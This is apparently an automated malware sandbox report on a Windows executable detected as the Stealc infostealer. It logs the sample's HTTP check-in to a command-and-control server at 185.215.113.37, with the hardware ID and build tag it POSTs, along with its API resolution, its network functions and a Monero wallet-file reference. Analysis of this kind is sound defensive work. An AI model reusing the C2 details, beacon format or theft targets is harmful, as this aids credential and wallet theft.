Oct 13, 2024 01:29:10.980038881 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:10.985424042 CEST	80	49732	185.215.113.37	192.168.2.4
Oct 13, 2024 01:29:10.985546112 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:10.985694885 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:10.990712881 CEST	80	49732	185.215.113.37	192.168.2.4
Oct 13, 2024 01:29:11.702768087 CEST	80	49732	185.215.113.37	192.168.2.4
Oct 13, 2024 01:29:11.702853918 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:11.705825090 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:11.710669041 CEST	80	49732	185.215.113.37	192.168.2.4
Oct 13, 2024 01:29:11.938935041 CEST	80	49732	185.215.113.37	192.168.2.4
Oct 13, 2024 01:29:11.939162016 CEST	49732	80	192.168.2.4	185.215.113.37
Oct 13, 2024 01:29:14.923192024 CEST	49732	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	185.215.113.37	80	6960	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 01:29:10.985694885 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 01:29:11.702768087 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 23:29:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 01:29:11.705825090 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 38 42 35 32 41 45 41 36 30 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 49 44 41 41 45 48 49 45 47 43 42 46 49 44 42 46 2d 2d 0d 0a Data Ascii: ------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="hwid"D8B52AEA60BD3120641781------DBKFIDAAEHIEGCBFIDBFContent-Disposition: form-data; name="build"doma------DBKFIDAAEHIEGCBFIDBF--
Oct 13, 2024 01:29:11.938935041 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 23:29:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	19:29:07
Start date:	12/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x260000
File size:	1'801'216 bytes
MD5 hash:	CFDD8A903441555E23417125BCCC4E60
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1800007747.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1758315822.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00279860 Relevance: 80.7, APIs: 33, Strings: 13, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00E22338), ref: 002798A1
GetProcAddress.KERNEL32(74DD0000,00E22290), ref: 002798BA
GetProcAddress.KERNEL32(74DD0000,00E22278), ref: 002798D2
GetProcAddress.KERNEL32(74DD0000,00E22410), ref: 002798EA
GetProcAddress.KERNEL32(74DD0000,00E223E0), ref: 00279903
GetProcAddress.KERNEL32(74DD0000,00E290B0), ref: 0027991B
GetProcAddress.KERNEL32(74DD0000,00E155B0), ref: 00279933
GetProcAddress.KERNEL32(74DD0000,00E15230), ref: 0027994C
GetProcAddress.KERNEL32(74DD0000,00E221A0), ref: 00279964
GetProcAddress.KERNEL32(74DD0000,00E22398), ref: 0027997C
GetProcAddress.KERNEL32(74DD0000,00E22158), ref: 00279995
GetProcAddress.KERNEL32(74DD0000,00E222A8), ref: 002799AD
GetProcAddress.KERNEL32(74DD0000,00E152F0), ref: 002799C5
GetProcAddress.KERNEL32(74DD0000,00E221B8), ref: 002799DE
GetProcAddress.KERNEL32(74DD0000,00E221E8), ref: 002799F6
GetProcAddress.KERNEL32(74DD0000,00E15550), ref: 00279A0E
GetProcAddress.KERNEL32(74DD0000,00E22200), ref: 00279A27
GetProcAddress.KERNEL32(74DD0000,00E22218), ref: 00279A3F
GetProcAddress.KERNEL32(74DD0000,00E152B0), ref: 00279A57
GetProcAddress.KERNEL32(74DD0000,00E22230), ref: 00279A70
GetProcAddress.KERNEL32(74DD0000,00E153F0), ref: 00279A88
LoadLibraryA.KERNEL32(00E22500,?,00276A00), ref: 00279A9A
LoadLibraryA.KERNEL32(00E22440,?,00276A00), ref: 00279AAB
LoadLibraryA.KERNEL32(00E22488,?,00276A00), ref: 00279ABD
LoadLibraryA.KERNEL32(00E224D0,?,00276A00), ref: 00279ACF
LoadLibraryA.KERNEL32(00E224E8,?,00276A00), ref: 00279AE0
GetProcAddress.KERNEL32(75A70000,00E224B8), ref: 00279B02
GetProcAddress.KERNEL32(75290000,00E22458), ref: 00279B23
GetProcAddress.KERNEL32(75290000,00E224A0), ref: 00279B3B
GetProcAddress.KERNEL32(75BD0000,00E22470), ref: 00279B5D
GetProcAddress.KERNEL32(75450000,00E154F0), ref: 00279B7E
GetProcAddress.KERNEL32(76E90000,00E29120), ref: 00279B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00279BB6

Strings

@$, xrefs: 00279AA5
p$, xrefs: 00279B4F
!, xrefs: 002799E9
0R, xrefs: 0027993E
8#, xrefs: 00279894
PU, xrefs: 00279A01
x", xrefs: 002798C5
0", xrefs: 00279A62
NtQueryInformationProcess, xrefs: 00279BAA
X$, xrefs: 00279B16
X!, xrefs: 00279987
$, xrefs: 00279ADA
#, xrefs: 002798F5

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0"$0R$8#$@$$NtQueryInformationProcess$PU$X!$X$$p$$x"$!$#$$
API String ID: 2238633743-1988400604
Opcode ID: 808b8a673339c1917b4c01dab5eea85af28f6ff09b3ffb7afc2900ff084b35b5
Instruction ID: 8955939c6e5d3fb9ecb4ddbbcee93a2ea85a8a1c6ad71ce00c6cf2e9595cb741
Opcode Fuzzy Hash: 808b8a673339c1917b4c01dab5eea85af28f6ff09b3ffb7afc2900ff084b35b5
Instruction Fuzzy Hash: 08A17EB9500210AFD394EFA8FD88A667FF9F75E301704853EA609C3264D7399865CF1A

Function 002645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0026460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0026479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002645E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0026462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00264643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002646D8

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 1ad113b5d3ae6ca27866f82f268df141245929ffc5854594e0c247fe044f88a7
Instruction ID: e4d338658deae3b4571e49b64587e27379e1cf6d64fb60d73fb8ffb9fb6d27fd
Opcode Fuzzy Hash: 1ad113b5d3ae6ca27866f82f268df141245929ffc5854594e0c247fe044f88a7
Instruction Fuzzy Hash: 7F413B347D37146BE626B7B4A8C1FAD765ADFC37C8F505044AA209A6C0CBB06560CFB2

Function 00264880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00264839
Part of subcall function 002647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00264849

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00264915
StrCmpCA.SHLWAPI(?,00E2EA78), ref: 0026493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00264ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00280DDB,00000000,?,?,00000000,?,",00000000,?,00E2E948), ref: 00264DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00264E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00264E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00264E49
InternetCloseHandle.WININET(00000000), ref: 00264EAD
InternetCloseHandle.WININET(00000000), ref: 00264EC5
HttpOpenRequestA.WININET(00000000,00E2E9C8,?,00E2DE60,00000000,00000000,00400100,00000000), ref: 00264B15

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

InternetCloseHandle.WININET(00000000), ref: 00264ECF

Strings

------, xrefs: 00264C69
H, xrefs: 00264D0A
h, xrefs: 00264BC9
x, xrefs: 0026492F
", xrefs: 00264D33
", xrefs: 00264BF2
------, xrefs: 002649BD
------, xrefs: 00264B28

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$H$h$x
API String ID: 460715078-2324874663
Opcode ID: 31a9b902f9882f182deeea2e426b75ae04ac6ff7b59394d0e326964bb521988b
Instruction ID: 6e293426f0b3b865990d9c1d7409c3d92d54c11a648693ac3f1a2fa109019239
Opcode Fuzzy Hash: 31a9b902f9882f182deeea2e426b75ae04ac6ff7b59394d0e326964bb521988b
Instruction Fuzzy Hash: 3B122071921118AADB15FBA0DC92FEEB338BF55310F5081A9F11A62091DF702F69CF66

Function 00277850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002611B7), ref: 00277880
RtlAllocateHeap.NTDLL(00000000), ref: 00277887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0027789F

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a3001c3ad53fca1424b779f8ac1874f896108470b476c302ee88409e711ec5c7
Instruction ID: 877097f12bb0ca3be1741556019d22b271e1f975a878f2916f731c0873dd6113
Opcode Fuzzy Hash: a3001c3ad53fca1424b779f8ac1874f896108470b476c302ee88409e711ec5c7
Instruction Fuzzy Hash: 4FF044B1944209ABC700DF94DD45FAEBFB8EB05711F100169F605A2680C7785514CBA1

Function 00261160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0026116A
ExitProcess.KERNEL32 ref: 0026117E

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 7d2ea676da31b99aad6a23ae8c94ce215a84e79cc759bb19e1892ff243238128
Instruction ID: 881a73e801ba07bf95a844fde3577ee845bcb7826e7049c187eb70d97535f4f5
Opcode Fuzzy Hash: 7d2ea676da31b99aad6a23ae8c94ce215a84e79cc759bb19e1892ff243238128
Instruction Fuzzy Hash: 6CD05E7890030CDBCB00DFE0D8496EEBB7CFB09311F0005A4D90562340EB30A8A1CAAA

